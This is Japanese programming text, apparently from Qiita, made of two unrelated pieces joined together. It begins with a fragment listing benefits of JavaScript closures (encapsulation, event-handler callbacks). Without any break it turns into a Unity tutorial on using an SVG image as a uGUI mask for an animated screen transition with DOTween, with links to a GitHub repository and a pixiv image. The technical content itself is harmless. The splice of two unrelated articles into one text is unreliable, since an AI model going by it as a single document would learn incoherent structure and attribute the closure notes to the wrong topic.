![キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/744307/3a1e1e5a-4f39-83c0-0fcb-6c13e0100c07.png)



クロージャ―の利点
①オブジェクトのカプセル化
　→上の例でいうと、外部からは「age変数」、「一郎function」にはアクセスできない。
②イベントハンドラ(イベントが発生したら起動)として登録しておくことで、コールバックとして使える。
Unityでベクターファイル（SVG）を扱う４（画面遷移を作ってみる）

# はじめに
[前回](https://qiita.com/inpax23/items/4e55c225ef12575ce7d6)uGUIのマスクに使用できることがわかったので、今回はベクター画像をマスクとして使用した画面遷移を作ってみます
# 準備
ヒエラルキーはこんな構造にしておきます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321577/a445d590-678f-2abb-1a4c-7f45acc1ecd5.png)
- BGTexture：マスクし、非表示部分となった個所に表示する画像
- SVGMask：マスク本体
- BeforeScreen：遷移前の画面
- AfterScreen：遷移後の画面
- Fade：マスク時に同時にかける白フェード

SVG MaskにSVG画像マスクを入れて置き、BeforeScreen画面のアクティブを切って、AfterScreen画面をアクティブにすることで遷移するものとします。
SVG Maskには、SVGImage、Maskコンポーネントを張っておきます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321577/364255f7-dc36-b70f-c80f-5fde1f0169dd.png)

次に、スクリプト側からアニメーションを設定します。
`_mask`にSVG MaskのRectTransformを代入しておき、
DoTweenを使用して、少しずつ小さくします
`_mask.DOSizeDelta(_loadingMaskSize, 0.8f).SetEase(Ease.OutBack, 0.5f)`
ロードが終わったら、少しずつ大きくします
`_mask.DOSizeDelta(_nonLoadingSize, 0.8f).SetEase(Ease.InBack, 0.5f)`
それに合わせて、フェードやロード中のアニメーションをかけるとこんな感じになります


![TogiMemo.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/321577/6b5fefa9-b790-ce94-e7c7-7ee58ee07e97.gif)
↑↑
製作中は、面白いもの作っちゃったなぁ...と思って作ってました。
~~作り終わってからしょうもないことに気づきました~~


SVGImageおよびSVG Mask周りの説明は以上ですが、この遷移について
細かいところ説明すると長くなるので、一応GitHubのリンク張っておきます。
https://github.com/Taka108/unity-svg-test

# おわりに
まだ工夫次第で色々できそうですが、まだベータ版なので、触るのはこれくらいにしておきます。早くリリース版が出るといいなぁ。。

# 参考

校門
https://www.pixiv.net/artworks/12341534